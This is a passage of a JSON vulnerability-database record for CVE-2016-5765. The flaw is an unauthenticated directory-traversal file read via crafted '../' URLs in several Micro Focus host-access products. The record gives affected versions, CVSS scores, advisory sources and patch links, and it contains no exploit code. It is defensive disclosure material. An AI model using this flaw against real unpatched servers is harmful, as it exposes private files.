{
"model": "reflection for the web",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.3"
},
{
"model": "reflection for the web",
"scope": "eq",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.3 build 312"
},
{
"model": "reflection for the web",
"scope": "eq",
"trust": 0.8,
"vendor": "microfocus",
"version": "2014 r2 12.1 build 362"
},
{
"model": "reflection security gateway",
"scope": "eq",
"trust": 0.8,
"vendor": "microfocus",
"version": "2014 r2 12.1 build 362"
},
{
"model": "reflection zfe",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "2.0.0"
},
{
"model": "host access management and security server",
"scope": "eq",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.3 build 326"
},
{
"model": "reflection for the web",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.2"
},
{
"model": "reflection for the web",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.1"
},
{
"model": "reflection zfe",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "1.4.0"
},
{
"model": "host access management and security server",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.3"
},
{
"model": "reflection for the web",
"scope": "eq",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.2 build 342"
},
{
"model": "reflection security gateway",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "12.1"
},
{
"model": "reflection zfe",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "2.0.1"
},
{
"model": "host access management and security server",
"scope": null,
"trust": 0.7,
"vendor": "attachmate",
"version": null
},
{
"model": "focus reflection zfe",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "2.0.1"
},
{
"model": "focus reflection zfe",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "2.0"
},
{
"model": "focus reflection zfe",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "1.4"
},
{
"model": "focus reflection security gateway",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "12.1"
},
{
"model": "focus reflection for the web",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "12.3"
},
{
"model": "focus reflection for the web",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "12.2"
},
{
"model": "focus reflection for the web",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "12.1"
},
{
"model": "focus host access management and security server",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "12.3"
},
{
"model": "focus host access management and security server",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "12.2"
},
{
"model": "focus reflection zfe",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "2.0.1.18"
},
{
"model": "focus reflection zfe",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "2.0.0.52"
},
{
"model": "focus reflection zfe",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "1.4.0.14"
},
{
"model": "focus reflection security gateway build",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "12.1362"
},
{
"model": "focus reflection for the web build",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "12.3312"
},
{
"model": "focus reflection for the web build",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "12.2342"
},
{
"model": "focus reflection for the web build",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "12.1362"
},
{
"model": "focus host access management and security server build",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "12.3326"
},
{
"model": "focus host access management and security server build",
"scope": "ne",
"trust": 0.3,
"vendor": "micro",
"version": "12.2342"
}
],
"sources": [
{
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"db": "BID",
"id": "94579"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"db": "NVD",
"id": "CVE-2016-5765"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:microfocus:host_access_management_and_security_server:12.3:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:microfocus:reflection_zfe:2.0.0.52:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:microfocus:host_access_management_and_security_server:12.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:microfocus:reflection_for_the_web:12.3:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:microfocus:reflection_for_the_web:12.1:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:microfocus:reflection_for_the_web:12.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:microfocus:reflection_zfe:1.4.0.14:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:microfocus:reflection_zfe:2.0.1.18:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:microfocus:reflection_security_gateway:12.1:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5765"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "rgod",
"sources": [
{
"db": "ZDI",
"id": "ZDI-16-618"
}
],
"trust": 0.7
},
"cve": "CVE-2016-5765",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"integrityImpact": "NONE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"trust": 1.0,
"userInteractionRequired": true,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Medium",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 4.3,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2016-5765",
"impactScore": null,
"integrityImpact": "None",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "ZDI",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2016-5765",
"impactScore": 2.9,
"integrityImpact": "NONE",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "MEDIUM",
"trust": 0.7,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "VHN-94584",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"version": "3.0"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 6.5,
"baseSeverity": "Medium",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2016-5765",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "Required",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2016-5765",
"trust": 1.8,
"value": "MEDIUM"
},
{
"author": "ZDI",
"id": "CVE-2016-5765",
"trust": 0.7,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201611-648",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-94584",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"db": "VULHUB",
"id": "VHN-94584"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"db": "NVD",
"id": "CVE-2016-5765"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Administrative Server in Micro Focus Host Access Management and Security Server (MSS) and Reflection for the Web (RWeb) and Reflection Security Gateway (RSG) and Reflection ZFE (ZFE) allows remote unauthenticated attackers to read arbitrary files via a specially crafted URL that allows limited directory traversal. Applies to MSS 12.3 before 12.3.326 and MSS 12.2 before 12.2.342 and RSG 12.1 before 12.1.362 and RWeb 12.3 before 12.3.312 and RWeb 12.2 before 12.2.342 and RWeb 12.1 before 12.1.362 and ZFE 2.0.1 before 2.0.1.18 and ZFE 2.0.0 before 2.0.0.52 and ZFE 1.4.0 before 1.4.0.14. Authentication is not required to exploit this vulnerability.The specific flaw exists within the PassThru resource. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose sensitive information under the context of the current process. Multiple Micro Focus Products are prone to an directory-traversal vulnerability. \nRemote attackers can use specially crafted requests with directory-traversal sequences (\u0027../\u0027) to read arbitrary files in the context of the application. This may aid in further attacks. The following versions are affected: 12.3 prior to MSS 12.3.326, 12.2 prior to MSS 12.2.342; 12.1 prior to RSG 12.1.362; 12.3 prior to RWeb 12.3.312, 12.2 prior to RWeb 12.2.342, RWeb 12.1 before 12.1.362; ZFE 2.0.1.18 before 2.0.1, Reflection ZFE (ZFE) 2.0.0 before ZFE 2.0.0.52, ZFE 1.4.0 before 1.4.0.14",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5765"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"db": "BID",
"id": "94579"
},
{
"db": "VULHUB",
"id": "VHN-94584"
}
],
"trust": 2.61
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2016-5765",
"trust": 3.5
},
{
"db": "ZDI",
"id": "ZDI-16-618",
"trust": 1.8
},
{
"db": "BID",
"id": "94579",
"trust": 1.4
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045",
"trust": 0.8
},
{
"db": "ZDI_CAN",
"id": "ZDI-CAN-4022",
"trust": 0.7
},
{
"db": "CNNVD",
"id": "CNNVD-201611-648",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-94584",
"trust": 0.1
}
],
"sources": [
{
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"db": "VULHUB",
"id": "VHN-94584"
},
{
"db": "BID",
"id": "94579"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"db": "NVD",
"id": "CVE-2016-5765"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
]
},
"id": "VAR-201611-0266",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-94584"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T12:05:17.357000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Technical Note 1704",
"trust": 1.5,
"url": "http://support.attachmate.com/techdocs/1704.html"
},
{
"title": "Multiple Micro Focus Product information disclosure vulnerability repair measures",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=65920"
}
],
"sources": [
{
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-200",
"trust": 1.9
},
{
"problemtype": "CWE-22",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94584"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"db": "NVD",
"id": "CVE-2016-5765"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.7,
"url": "http://support.attachmate.com/techdocs/1704.html"
},
{
"trust": 1.1,
"url": "http://www.securityfocus.com/bid/94579"
},
{
"trust": 1.1,
"url": "http://www.zerodayinitiative.com/advisories/zdi-16-618"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5765"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-5765"
},
{
"trust": 0.3,
"url": "http://www.merant.com/products/microfocus/"
}
],
"sources": [
{
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"db": "VULHUB",
"id": "VHN-94584"
},
{
"db": "BID",
"id": "94579"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"db": "NVD",
"id": "CVE-2016-5765"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"db": "VULHUB",
"id": "VHN-94584"
},
{
"db": "BID",
"id": "94579"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"db": "NVD",
"id": "CVE-2016-5765"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-12-13T00:00:00",
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"date": "2016-11-29T00:00:00",
"db": "VULHUB",
"id": "VHN-94584"
},
{
"date": "2016-11-29T00:00:00",
"db": "BID",
"id": "94579"
},
{
"date": "2016-12-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"date": "2016-11-29T11:59:00.177000",
"db": "NVD",
"id": "CVE-2016-5765"
},
{
"date": "2016-11-30T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-12-13T00:00:00",
"db": "ZDI",
"id": "ZDI-16-618"
},
{
"date": "2016-12-24T00:00:00",
"db": "VULHUB",
"id": "VHN-94584"
},
{
"date": "2016-12-20T00:04:00",
"db": "BID",
"id": "94579"
},
{
"date": "2016-12-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-006045"
},
{
"date": "2023-11-07T02:33:50.470000",
"db": "NVD",
"id": "CVE-2016-5765"
},
{
"date": "2016-11-30T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural Micro Focus Vulnerability to read arbitrary files in the product management server",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-006045"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201611-648"
}
],
"trust": 0.6
}
}